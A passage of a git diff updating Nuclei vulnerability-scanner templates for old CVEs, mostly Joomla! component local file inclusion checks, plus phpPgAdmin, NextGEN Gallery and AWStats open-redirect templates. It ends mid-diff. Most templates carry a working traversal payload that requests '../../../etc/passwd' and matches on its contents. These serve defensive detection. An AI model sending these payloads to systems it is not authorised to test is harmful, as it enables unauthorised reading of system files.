CVSS:2.0/AV:N/AC:L/Au:N/C:C/I:P/A:P - cvss-score: 9 cve-id: CVE-2008-4668 - cwe-id: CWE-22 - epss-score: 0.01018 - epss-percentile: 0.8206 - cpe: cpe:2.3:a:joomla:com_imagebrowser:0.1.5:*:*:*:*:*:*:* - metadata: - max-request: 1 - vendor: joomla - product: com_imagebrowser - tags: cve,cve2008,joomla,lfi,edb + tags: cve,cve2008,joomla,lfi -http: +requests: - method: GET path: - "{{BaseURL}}/index.php?option=com_imagebrowser&folder=../../../../etc/passwd" matchers-condition: and matchers: + - type: regex regex: - "root:.*:0:0:" @@ -40,4 +29,3 @@ http: - type: status status: - 200 -# digest: 4a0a0047304502206f31bd127aaa60a7e69808134246b265a80dd7245d2c1a350a6dba3b97ff5128022100bf6c4c636b0a4d8d6a2bcd8f43545188b3bde9c49a8aa838fc709ceee769867b:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2008-5587.yaml b/poc/cve/CVE-2008-5587.yaml index bf842f596c..fda684a006 100644 --- a/poc/cve/CVE-2008-5587.yaml +++ b/poc/cve/CVE-2008-5587.yaml @@ -1,45 +1,28 @@ id: CVE-2008-5587 - info: - name: phpPgAdmin <=4.2.1 - Local File Inclusion + name: phpPgAdmin 4.2.1 - '_language' Local File Inclusion author: dhiyaneshDK severity: medium - description: phpPgAdmin 4.2.1 is vulnerable to local file inclusion in libraries/lib.inc.php when register globals is enabled. Remote attackers can read arbitrary files via a .. (dot dot) in the _language parameter to index.php. - remediation: | - Upgrade phpPgAdmin to a version higher than 4.2.1 or apply the necessary patches provided by the vendor. + description: Directory traversal vulnerability in libraries/lib.inc.php in phpPgAdmin 4.2.1 and earlier, when register_globals is enabled, allows remote attackers to read arbitrary files via a .. (dot dot) in the _language parameter to index.php. reference: - https://www.exploit-db.com/exploits/7363 - - https://nvd.nist.gov/vuln/detail/CVE-2008-5587 - - http://lists.opensuse.org/opensuse-security-announce/2009-02/msg00002.html - - http://lists.opensuse.org/opensuse-updates/2012-04/msg00033.html - - http://securityreason.com/securityalert/4737 + - http://web.archive.org/web/20210121184707/https://www.securityfocus.com/bid/32670/ + - http://web.archive.org/web/20160520063306/http://secunia.com/advisories/33014 + - http://web.archive.org/web/20151104173853/http://secunia.com/advisories/33263 classification: - cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:N/A:N - cvss-score: 4.3 cve-id: CVE-2008-5587 - cwe-id: CWE-22 - epss-score: 0.02331 - epss-percentile: 0.88568 - cpe: cpe:2.3:a:phppgadmin:phppgadmin:*:*:*:*:*:*:*:* metadata: - max-request: 1 - vendor: phppgadmin - product: phppgadmin shodan-query: http.title:"phpPgAdmin" - tags: cve,cve2008,lfi,phppgadmin,edb - -http: + tags: cve,cve2008,lfi,phppgadmin +requests: - method: GET path: - '{{BaseURL}}/phpPgAdmin/index.php?_language=../../../../../../../../etc/passwd%00' - matchers-condition: and matchers: - type: regex regex: - "root:[x*]:0:0" - - type: status status: - 200 -# digest: 490a0046304402206df6b67796b941990c69d1cb2bc35fbba5cd9b4239f9179eac935f64a8223c760220421054c8fd57b97dca7d3e773f3225ee2c3fb6ea14eb3b7199dece7d15b6e882:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2008-6172.yaml b/poc/cve/CVE-2008-6172.yaml index 8d57e5e23a..6c2fa28048 100644 --- a/poc/cve/CVE-2008-6172.yaml +++ b/poc/cve/CVE-2008-6172.yaml @@ -3,25 +3,40 @@ id: CVE-2008-6172 info: name: Joomla! Component RWCards 3.0.11 - Local File Inclusion author: daffainfo - severity: high - description: Directory traversal vulnerability in captcha/captcha_image.php in the RWCards (com_rwcards) 3.0.11 component for Joomla!, when magic_quotes_gpc is disabled, allows remote attackers to include and execute arbitrary local files via directory traversal sequences in the img parameter. + severity: medium + description: A directory traversal vulnerability in captcha/captcha_image.php in the RWCards (com_rwcards) 3.0.11 component for Joomla! when magic_quotes_gpc is disabled allows remote attackers to include and execute arbitrary local files via directory traversal sequences in the img parameter. + remediation: | + Update Joomla! Component RWCards to the latest version to mitigate the vulnerability. reference: - https://www.exploit-db.com/exploits/6817 - - https://www.cvedetails.com/cve/CVE-2008-6172 - tags: cve,cve2008,joomla,lfi + - https://nvd.nist.gov/vuln/detail/CVE-2008-6172 + - https://exchange.xforce.ibmcloud.com/vulnerabilities/46081 + classification: + cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:P/A:P + cvss-score: 6.8 + cve-id: CVE-2008-6172 + cwe-id: CWE-22 + epss-score: 0.00509 + epss-percentile: 0.73887 + cpe: cpe:2.3:a:weberr:rwcards:3.0.11:*:*:*:*:*:*:* + metadata: + max-request: 1 + vendor: weberr + product: rwcards + tags: cve2008,joomla,lfi,edb,cve -requests: +http: - method: GET path: - "{{BaseURL}}/components/com_rwcards/captcha/captcha_image.php?img=../../../../../../../../../etc/passwd%00" matchers-condition: and matchers: - - type: regex regex: - - "root:.*:0:0" + - "root:.*:0:0:" - type: status status: - 200 +# digest: 490a0046304402204727381ef577b5e8102139642d953b39bb932e2a512f7199540b748e025601300220269c573c38471577d195b3b2b29bcf30c35c42c9af44512848d36a4a4b26b4ac:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2008-6222.yaml b/poc/cve/CVE-2008-6222.yaml index 27c30763d5..fe9056ee68 100644 --- a/poc/cve/CVE-2008-6222.yaml +++ b/poc/cve/CVE-2008-6222.yaml @@ -1,26 +1,42 @@ id: CVE-2008-6222 + info: - name: Joomla! Component ProDesk 1.0/1.2 - Local File Inclusion + name: Joomla! ProDesk 1.0/1.2 - Local File Inclusion author: daffainfo - severity: high - description: Directory traversal vulnerability in the Pro Desk Support Center (com_pro_desk) component 1.0 and 1.2 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the include_file parameter to index.php. + severity: medium + description: Joomla! Pro Desk Support Center (com_pro_desk) component 1.0 and 1.2 allows remote attackers to read arbitrary files via a .. (dot dot) in the include_file parameter to index.php. + remediation: | + Apply the latest security patches or upgrade to a patched version of Joomla! ProDesk to mitigate the vulnerability. reference: - https://www.exploit-db.com/exploits/6980 - - https://www.cvedetails.com/cve/CVE-2008-6222 - - http://secunia.com/advisories/32523 - - http://web.archive.org/web/20210121184244/https://www.securityfocus.com/bid/32113/ + - https://nvd.nist.gov/vuln/detail/CVE-2008-6222 + - https://exchange.xforce.ibmcloud.com/vulnerabilities/46356 classification: + cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N + cvss-score: 5 cve-id: CVE-2008-6222 - tags: cve,cve2008,joomla,lfi -requests: + cwe-id: CWE-22 + epss-score: 0.01029 + epss-percentile: 0.82151 + cpe: cpe:2.3:a:joomlashowroom:pro_desk_support_center:1.0:*:*:*:*:*:*:* + metadata: + max-request: 1 + vendor: joomlashowroom + product: pro_desk_support_center + tags: cve2008,joomla,lfi,edb,cve + +http: - method: GET path: - "{{BaseURL}}/index.php?option=com_pro_desk&include_file=../../../../../../etc/passwd" + matchers-condition: and matchers: - type: regex regex: - "root:.*:0:0:" + - type: status status: - 200 +# digest: 4b0a00483046022100ee0ee5ca18578dcf123f8ff92d2e22d02a8a2fcb6d3b89d275aa63ccc5c7b8760221009140db0b74c0d8208b084f6b0c941d1246b168dc58ae7c81b5e0f8cae89e3d66:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2008-7175-ca3d8af1bfdc512f2bdde607183e196a.yaml b/poc/cve/CVE-2008-7175-ca3d8af1bfdc512f2bdde607183e196a.yaml new file mode 100644 index 0000000000..6f6e4b510b --- /dev/null +++ b/poc/cve/CVE-2008-7175-ca3d8af1bfdc512f2bdde607183e196a.yaml @@ -0,0 +1,59 @@ +id: CVE-2008-7175-ca3d8af1bfdc512f2bdde607183e196a + +info: + name: > + NextGEN Gallery Plugin <= 1.9.0 - Authenticated (Admin+) Stored Cross-Site Scripting + author: topscoder + severity: low + description: > + The Photo Gallery, Sliders, Proofing and Themes – NextGEN Gallery plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the description field for galleries in all versions up to, and including, 1.9.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled. + reference: + - https://github.com/topscoder/nuclei-wordfence-cve + - https://www.wordfence.com/threat-intel/vulnerabilities/id/f7ff27af-2b78-4214-9232-042357287ba8?source=api-prod + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N + cvss-score: 4.4 + cve-id: CVE-2008-7175 + metadata: + fofa-query: "wp-content/plugins/nextgen-gallery/" + google-query: inurl:"/wp-content/plugins/nextgen-gallery/" + shodan-query: 'vuln:CVE-2008-7175' + tags: cve,wordpress,wp-plugin,nextgen-gallery,low + +http: + - method: GET + redirects: true + max-redirects: 3 + path: + - "{{BaseURL}}/wp-content/plugins/nextgen-gallery/readme.txt" + + extractors: + - type: regex + name: version + part: body + group: 1 + internal: true + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + - type: regex + name: version + part: body + group: 1 + regex: + - "(?mi)Stable tag: ([0-9.]+)" + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "nextgen-gallery" + part: body + + - type: dsl + dsl: + - compare_versions(version, '<= 1.9.0') \ No newline at end of file diff --git a/poc/cve/CVE-2009-1496.yaml b/poc/cve/CVE-2009-1496.yaml index aa1ad36f1b..58af74ce09 100644 --- a/poc/cve/CVE-2009-1496.yaml +++ b/poc/cve/CVE-2009-1496.yaml @@ -3,28 +3,35 @@ id: CVE-2009-1496 info: name: Joomla! Cmimarketplace 0.1 - Local File Inclusion author: daffainfo - severity: high + severity: medium description: | Joomla! Cmimarketplace 0.1 is susceptible to local file inclusion because com_cmimarketplace allows remote attackers to list arbitrary directories via a .. (dot dot) in the viewit parameter to index.php. + remediation: | + Apply the latest patch or upgrade to a newer version of Joomla! Cmimarketplace to mitigate the vulnerability. reference: - https://www.exploit-db.com/exploits/8367 - - http://web.archive.org/web/20210121190149/https://www.securityfocus.com/bid/34431/ - https://nvd.nist.gov/vuln/detail/CVE-2009-1496 classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N - cvss-score: 8.6 + cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N + cvss-score: 5 cve-id: CVE-2009-1496 cwe-id: CWE-22 - tags: cve,cve2009,joomla,lfi + epss-score: 0.00648 + epss-percentile: 0.77015 + cpe: cpe:2.3:a:joomla:joomla:*:*:*:*:*:*:*:* + metadata: + max-request: 1 + vendor: joomla + product: joomla + tags: joomla,lfi,edb,cve,cve2009 -requests: +http: - method: GET path: - "{{BaseURL}}/index.php?option=com_cmimarketplace&Itemid=70&viewit=/../../../../../../etc/passwd&cid=1" matchers-condition: and matchers: - - type: regex regex: - "root:.*:0:0:" @@ -32,5 +39,4 @@ requests: - type: status status: - 200 - -# Enhanced by mp on 2022/07/06 +# digest: 4a0a00473045022100f6b0fc6105421448384971101cc149da270f581bf51103978bb1f35a04e3208b02202d62b25e6b0cda87bb290a8f8454a43454629a76fb4a7c7e0a8b9a03c9caeac7:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2009-2015.yaml b/poc/cve/CVE-2009-2015.yaml index 2085a00bd4..ce386788dd 100644 --- a/poc/cve/CVE-2009-2015.yaml +++ b/poc/cve/CVE-2009-2015.yaml @@ -1,26 +1,42 @@ id: CVE-2009-2015 + info: - name: Joomla! Component MooFAQ (com_moofaq) - Local File Inclusion + name: Joomla! MooFAQ 1.0 - Local File Inclusion author: daffainfo severity: high - description: Directory traversal vulnerability in includes/file_includer.php in the Ideal MooFAQ (com_moofaq) component 1.0 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the file parameter. + description: Joomla! Ideal MooFAQ 1.0 via com_moofaq allows remote attackers to read arbitrary files via a .. (dot dot) in the file parameter (local file inclusion). + remediation: | + Update Joomla! MooFAQ to the latest version or apply the official patch provided by the vendor. reference: - https://www.exploit-db.com/exploits/8898 - - https://www.cvedetails.com/cve/CVE-2009-2015 - - http://web.archive.org/web/20210121191105/https://www.securityfocus.com/bid/35259/ - http://www.vupen.com/english/advisories/2009/1530 + - https://nvd.nist.gov/vuln/detail/CVE-2009-2015 classification: + cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P + cvss-score: 7.5 cve-id: CVE-2009-2015 - tags: cve,cve2009,joomla,lfi -requests: + cwe-id: CWE-22 + epss-score: 0.00797 + epss-percentile: 0.79631 + cpe: cpe:2.3:a:joomla:joomla:*:*:*:*:*:*:*:* + metadata: + max-request: 1 + vendor: joomla + product: joomla + tags: joomla,lfi,edb,cve,cve2009 + +http: - method: GET path: - "{{BaseURL}}/components/com_moofaq/includes/file_includer.php?gzip=0&file=/../../../../../etc/passwd" + matchers-condition: and matchers: - type: regex regex: - "root:.*:0:0:" + - type: status status: - 200 +# digest: 4a0a0047304502201a3eef5e2f64a186e909b1f12743cf3c9b540f08ebb437dcffe83f5becdac1c5022100cd4cb7a983746ae703d14b65a0e0a8ba41007a0b74d3fb41d42a4557720bdc58:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2009-2100.yaml b/poc/cve/CVE-2009-2100.yaml index 17c3fc5ae2..dfc11e59f1 100644 --- a/poc/cve/CVE-2009-2100.yaml +++ b/poc/cve/CVE-2009-2100.yaml @@ -3,29 +3,34 @@ id: CVE-2009-2100 info: name: Joomla! JoomlaPraise Projectfork 2.0.10 - Local File Inclusion author: daffainfo - severity: high + severity: medium description: Joomla! JoomlaPraise Projectfork (com_projectfork) 2.0.10 allows remote attackers to read arbitrary files via local file inclusion in the section parameter to index.php. + remediation: | + Upgrade to a patched version of JoomlaPraise Projectfork or apply the necessary security patches to mitigate the LFI vulnerability. reference: - https://www.exploit-db.com/exploits/8946 - - https://www.cvedetails.com/cve/CVE-2009-2100 - - http://web.archive.org/web/20210121191226/https://www.securityfocus.com/bid/35378/ - https://nvd.nist.gov/vuln/detail/CVE-2009-2100 - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N - cvss-score: 8.6 + cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N + cvss-score: 5 cve-id: CVE-2009-2100 cwe-id: CWE-22 - tags: cve,cve2009,joomla,lfi + epss-score: 0.00517 + epss-percentile: 0.74095 + cpe: cpe:2.3:a:joomla:joomla:*:*:*:*:*:*:*:* + metadata: + max-request: 1 + vendor: joomla + product: joomla + tags: cve,cve2009,joomla,lfi,edb -requests: +http: - method: GET path: - "{{BaseURL}}/index.php?option=com_projectfork§ion=../../../../../../../../etc/passwd" matchers-condition: and matchers: - - type: regex regex: - "root:.*:0:0:" @@ -33,5 +38,4 @@ requests: - type: status status: - 200 - -# Enhanced by mp on 2022/07/06 +# digest: 490a0046304402200831372cd88a4a64b0e1a894d500ff7304f483b2cc44417e6d69a884a4792a1702203a2e9b172ad78eb06324e38c766f4cc3ce942ed36fb5ccc0e278b9fc84f84c29:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2009-5020.yaml b/poc/cve/CVE-2009-5020.yaml index a3db08eb67..487a2aaa93 100644 --- a/poc/cve/CVE-2009-5020.yaml +++ b/poc/cve/CVE-2009-5020.yaml @@ -1,38 +1,27 @@ id: CVE-2009-5020 - info: name: AWStats < 6.95 - Open Redirect author: pdteam severity: medium description: An open redirect vulnerability in awredir.pl in AWStats < 6.95 allows remote attackers to redirect users to arbitrary web sites and conduct phishing attacks via unspecified vectors. + reference: https://nvd.nist.gov/vuln/detail/CVE-2009-5020 + tags: cve,cve2020,redirect,awstats remediation: Apply all relevant security patches and product upgrades. - reference: - - https://nvd.nist.gov/vuln/detail/CVE-2009-5020 - - http://awstats.sourceforge.net/docs/awstats_changelog.txt classification: - cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:P - cvss-score: 5.8 + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.10 cve-id: CVE-2009-5020 - cwe-id: CWE-20 - epss-score: 0.00215 - epss-percentile: 0.59397 - cpe: cpe:2.3:a:awstats:awstats:*:*:*:*:*:*:*:* - metadata: - max-request: 2 - vendor: awstats - product: awstats - tags: cve,cve2009,redirect,awstats - -http: + cwe-id: CWE-601 +requests: - method: GET path: - - '{{BaseURL}}/awstats/awredir.pl?url=interact.sh' - - '{{BaseURL}}/cgi-bin/awstats/awredir.pl?url=interact.sh' - + - '{{BaseURL}}/awstats/awredir.pl?url=example.com' + - '{{BaseURL}}/cgi-bin/awstats/awredir.pl?url=example.com' stop-at-first-match: true matchers: - type: regex part: header regex: - - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' # https://regex101.com/r/L403F0/1 -# digest: 490a0046304402205dde554d64b5a311577f8db5284139a1728c950850a13e77cf6adee5cb566e2602200ddd05e98e6ee65c638e9fd47fdb9d190c8b5b22a0062f6b61590ebbdbb5643a:922c64590222798bb761d5b6d8e72950 \ No newline at end of file + - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)?(?:[a-zA-Z0-9\-_\.@]*)example\.com\/?(\/|[^.].*)?$' # https://regex101.com/r/ZDYhFh/1 + +# Enhanced by mp on 2022/02/13 diff --git a/poc/cve/CVE-2010-0467.yaml b/poc/cve/CVE-2010-0467.yaml index 9a3eb8265d..c2f18e9cb5 100644 --- a/poc/cve/CVE-2010-0467.yaml +++ b/poc/cve/CVE-2010-0467.yaml @@ -1,31 +1,43 @@ id: CVE-2010-0467 + info: name: Joomla! Component CCNewsLetter - Local File Inclusion author: daffainfo severity: medium description: A directory traversal vulnerability in the ccNewsletter (com_ccnewsletter) component 1.0.5 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter in a ccnewsletter action to index.php. + remediation: Apply all relevant security patches and upgrades. reference: - https://www.exploit-db.com/exploits/11282 - - https://www.cvedetails.com/cve/CVE-2010-0467 - - http://www.securityfocus.com/bid/37987 + - https://nvd.nist.gov/vuln/detail/CVE-2010-0467 - http://www.chillcreations.com/en/blog/ccnewsletter-joomla-newsletter/ccnewsletter-106-security-release.html - remediation: Apply all relevant security patches and upgrades. + - http://www.exploit-db.com/exploits/11277 + - http://www.exploit-db.com/exploits/11282 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N cvss-score: 5.8 cve-id: CVE-2010-0467 cwe-id: CWE-22 - tags: cve,cve2010,joomla,lfi -requests: + epss-score: 0.0586 + epss-percentile: 0.92614 + cpe: cpe:2.3:a:chillcreations:com_ccnewsletter:1.0.5:*:*:*:*:*:*:* + metadata: + max-request: 1 + vendor: chillcreations + product: com_ccnewsletter + tags: cve,cve2010,joomla,lfi,edb + +http: - method: GET path: - "{{BaseURL}}/index.php?option=com_ccnewsletter&controller=../../../../../../../../../../etc/passwd%00" + matchers-condition: and matchers: - type: regex regex: - "root:.*:0:0:" + - type: status status: - 200 -# Enhanced by mp on 2022/02/13 +# digest: 4b0a0048304602210080df4c43ff052b3a63f1bfcae5379c2a677e99287ea1f9c00248a8fb3117d00e0221008052b43f3a055ff5b786b96c42963515281a981772592cabad2b441038be0bde:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2010-0696.yaml b/poc/cve/CVE-2010-0696.yaml index ebd1f6a437..b659158355 100644 --- a/poc/cve/CVE-2010-0696.yaml +++ b/poc/cve/CVE-2010-0696.yaml @@ -3,41 +3,29 @@ id: CVE-2010-0696 info: name: Joomla! Component Jw_allVideos - Arbitrary File Retrieval author: daffainfo - severity: medium + severity: high description: A directory traversal vulnerability in includes/download.php in the JoomlaWorks AllVideos (Jw_allVideos) plugin 3.0 through 3.2 for Joomla! allows remote attackers to read arbitrary files via a ./../.../ (modified dot dot) in the file parameter. - remediation: Upgrade to the latest version to mitigate this vulnerability. reference: - https://www.exploit-db.com/exploits/11447 - - https://nvd.nist.gov/vuln/detail/CVE-2010-0696 + - https://www.cvedetails.com/cve/CVE-2010-0696 + - http://secunia.com/advisories/38587 - http://www.joomlaworks.gr/content/view/77/34/ - - http://www.exploit-db.com/exploits/11447 + remediation: Upgrade to a supported version. classification: - cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N - cvss-score: 5 cve-id: CVE-2010-0696 - cwe-id: CWE-22 - epss-score: 0.62698 - epss-percentile: 0.97516 - cpe: cpe:2.3:a:joomlaworks:jw_allvideos:3.0:*:*:*:*:*:*:* - metadata: - max-request: 1 - vendor: joomlaworks - product: jw_allvideos - tags: cve,cve2010,joomla,lfi,edb + tags: cve,cve2010,joomla,lfi -http: +requests: - method: GET path: - "{{BaseURL}}/plugins/content/jw_allvideos/includes/download.php?file=../../../../../../../../etc/passwd" - matchers-condition: and matchers: - type: regex regex: - "root:.*:0:0:" - - type: status status: - 200 -# digest: 4a0a00473045022100cd6a5f1690a95ace049ff0a44c28bf89718e4db66d952938c741909ccf611cf5022006194e2966fa5bdd2de52be7206240b0a5eb73e0f11ee2764bece746f6bc7251:922c64590222798bb761d5b6d8e72950 +# Enhanced by mp on 2022/02/13 diff --git a/poc/cve/CVE-2010-0942.yaml b/poc/cve/CVE-2010-0942.yaml index 01b5286ca9..cfbd90f032 100644 --- a/poc/cve/CVE-2010-0942.yaml +++ b/poc/cve/CVE-2010-0942.yaml @@ -3,40 +3,27 @@ id: CVE-2010-0942 info: name: Joomla! Component com_jvideodirect - Directory Traversal author: daffainfo - severity: medium + severity: high description: Directory traversal vulnerability in the jVideoDirect (com_jvideodirect) component for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php. - remediation: Apply all relevant security patches and product upgrades. reference: - https://www.exploit-db.com/exploits/11089 - - https://nvd.nist.gov/vuln/detail/CVE-2010-0942 + - https://www.cvedetails.com/cve/CVE-2010-0942 - http://packetstormsecurity.org/1001-exploits/joomlajvideodirect-traversal.txt - - https://exchange.xforce.ibmcloud.com/vulnerabilities/55513 + remediation: Apply all relevant security patches and product upgrades. classification: - cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N - cvss-score: 5 cve-id: CVE-2010-0942 - cwe-id: CWE-22 - epss-score: 0.00477 - epss-percentile: 0.73053 - cpe: cpe:2.3:a:jvideodirect:com_jvideodirect:*:*:*:*:*:*:*:* - metadata: - max-request: 1 - vendor: jvideodirect - product: com_jvideodirect - tags: cve2010,joomla,lfi,edb,packetstorm,cve + tags: cve,cve2010,joomla,lfi -http: +requests: - method: GET path: - "{{BaseURL}}/index.php?option=com_jvideodirect&controller=../../../../../../../../../../etc/passwd%00" - matchers-condition: and matchers: - type: regex regex: - "root:.*:0:0:" - - type: status status: - 200 -# digest: 490a004630440220096f8d7524ae31ba7da8036b0b7b3ac4b8a220fb20bcd346ba4f7d4b470970ff02207fe50c109f6016a4b832ff3b711286cadfbe0582497104d167685a8a7de8a553:922c64590222798bb761d5b6d8e72950 \ No newline at end of file +# Enhanced by mp on 2022/02/13 diff --git a/poc/cve/CVE-2010-0943.yaml b/poc/cve/CVE-2010-0943.yaml index 3f73c1501d..8b3e864588 100644 --- a/poc/cve/CVE-2010-0943.yaml +++ b/poc/cve/CVE-2010-0943.yaml @@ -3,28 +3,40 @@ id: CVE-2010-0943 info: name: Joomla! Component com_jashowcase - Directory Traversal author: daffainfo - severity: high + severity: medium description: A directory traversal vulnerability in the JA Showcase (com_jashowcase) component for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter in a jashowcase action to index.php. + remediation: | + Update to the latest version of Joomla! Component com_jashowcase to fix the directory traversal vulnerability. reference: - https://www.exploit-db.com/exploits/11090 - - https://www.cvedetails.com/cve/CVE-2010-0943 - - http://web.archive.org/web/20210121193737/https://www.securityfocus.com/bid/37692/ - - http://secunia.com/advisories/33486 + - https://nvd.nist.gov/vuln/detail/CVE-2010-0943 + - https://exchange.xforce.ibmcloud.com/vulnerabilities/55512 classification: + cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N + cvss-score: 5 cve-id: CVE-2010-0943 - tags: cve,cve2010,joomla,lfi + cwe-id: CWE-22 + epss-score: 0.01155 + epss-percentile: 0.8323 + cpe: cpe:2.3:a:joomlart:com_jashowcase:*:*:*:*:*:*:*:* + metadata: + max-request: 1 + vendor: joomlart + product: com_jashowcase + tags: cve2010,joomla,lfi,edb,cve -requests: +http: - method: GET path: - "{{BaseURL}}/index.php?option=com_jashowcase&view=jashowcase&controller=../../../../../../../etc/passwd%00" + matchers-condition: and matchers: - type: regex regex: - "root:.*:0:0:" + - type: status status: - 200 - -# Enhanced by mp on 2022/03/30 +# digest: 4a0a00473045022100e0c33a9e0db7b0e86d010d901851ff0c696d9b346ca43184ab879ecf0ffe3963022077ddc3d2c80677b13a2a122af7449e4c6b3064c17fd08abefeb34e1b2c30ec93:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/CVE-2010-1081.yaml b/poc/cve/CVE-2010-1081.yaml index 1d74b2db6a..8b0eedcbd2 100644 --- a/poc/cve/CVE-2010-1081.yaml +++ b/poc/cve/CVE-2010-1081.yaml @@ -3,39 +3,28 @@ id: CVE-2010-1081 info: name: Joomla! Component com_communitypolls 1.5.2 - Local File Inclusion author: daffainfo - severity: medium + severity: high description: A directory traversal vulnerability in the Community Polls (com_communitypolls) component 1.5.2, and possibly earlier, for Core Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php. - remediation: Apply all relevant security patches and product upgrades. reference: - https://www.exploit-db.com/exploits/11511 - - https://nvd.nist.gov/vuln/detail/CVE-2010-1081 + - https://www.cvedetails.com/cve/CVE-2010-1081 - http://www.corejoomla.com/component/content/article/1-corejoomla-updates/40-community-polls-v153-security-release.html + - http://osvdb.org/62506 + remediation: Apply all relevant security patches and product upgrades. classification: - cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N - cvss-score: 5 cve-id: CVE-2010-1081 - cwe-id: CWE-22 - epss-score: 0.0168 - epss-percentile: 0.86279 - cpe: cpe:2.3:a:corejoomla:com_communitypolls:*:*:*:*:*:*:*:* - metadata: - max-request: 1 - vendor: corejoomla - product: com_communitypolls - tags: cve,cve2010,joomla,lfi,edb + tags: cve,cve2010,joomla,lfi -http: +requests: - method: GET path: - "{{BaseURL}}/index.php?option=com_communitypolls&controller=../../../../../../../../../../../../../../../etc/passwd%00" - matchers-condition: and matchers: - type: regex regex: - "root:.*:0:0:" - - type: status status: - 200 -# digest: 4a0a0047304502205a59a908530981cb8023b265455a2ebafb33c42720d02f4c260bed85aeee390d022100fa2a7473fa5db535ae40a3ada043c3d09d0b14e254e6d1860b5d5412054df228:922c64590222798bb761d5b6d8e72950 \ No newline at end of file +# Enhanced by mp on 2022/02/13 diff --git a/poc/cve/CVE-2010-1217.yaml b/poc/cve/CVE-2010-1217.yaml index 80e9ece063..641c05d517 100644 --- a/poc/cve/CVE-2010-1217.yaml +++ b/poc/cve/CVE-2010-1217.yaml @@ -3,40 +3,28 @@ id: CVE-2010-1217 info: name: Joomla! Component & Plugin JE Tooltip 1.0 - Local File Inclusion author: daffainfo - severity: medium + severity: high description: A directory traversal vulnerability in the JE Form Creator (com_jeformcr) component for Joomla!, when magic_quotes_gpc is disabled, allows remote attackers to read arbitrary files via directory traversal sequences in the view parameter to index.php. NOTE -- the original researcher states that the affected product is JE Tooltip, not Form Creator; however, the exploit URL suggests that Form Creator is affected. - remediation: Apply all relevant security patches and product upgrades. reference: - https://www.exploit-db.com/exploits/11814 - - https://nvd.nist.gov/vuln/detail/CVE-2010-1217 + - https://www.cvedetails.com/cve/CVE-2010-1217 - http://www.packetstormsecurity.org/1003-exploits/joomlajetooltip-lfi.txt - - http://www.exploit-db.com/exploits/11814 + - http://web.archive.org/web/20210624111408/https://www.securityfocus.com/bid/38866 + remediation: Apply all relevant security patches and product upgrades. classification: - cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:N/A:N - cvss-score: 4.3 cve-id: CVE-2010-1217 - cwe-id: CWE-22 - epss-score: 0.01155 - epss-percentile: 0.8323 - cpe: cpe:2.3:a:je_form_creator:je_form_creator:*:*:*:*:*:*:*:* - metadata: - max-request: 1 - vendor: je_form_creator - product: je_form_creator - tags: edb,packetstorm,cve,cve2010,joomla,lfi,plugin + tags: cve,cve2010,joomla,lfi,plugin -http: +requests: - method: GET path: - "{{BaseURL}}/index.php?option=com_jeformcr&view=../../../../../../../../etc/passwd%00" - matchers-condition: and matchers: - type: regex regex: - "root:.*:0:0:" - - type: status status: - 200 -# digest: 4b0a00483046022100e15567e802f1f490a28b6dc148aea00d2c50ac66570b4331184b8e7fdc35191e022100d073735384bd479b061cbf7f6ca38a6af70bd1d530d73321723effc9bf437ae9:922c64590222798bb761d5b6d8e72950 \ No newline at end of file +# Enhanced by mp on 2022/02/13 diff --git a/poc/cve/CVE-2010-1219.yaml b/poc/cve/CVE-2010-1219.yaml index 015b373d6d..f67443a4e1 100644 --- a/poc/cve/CVE-2010-1219.yaml 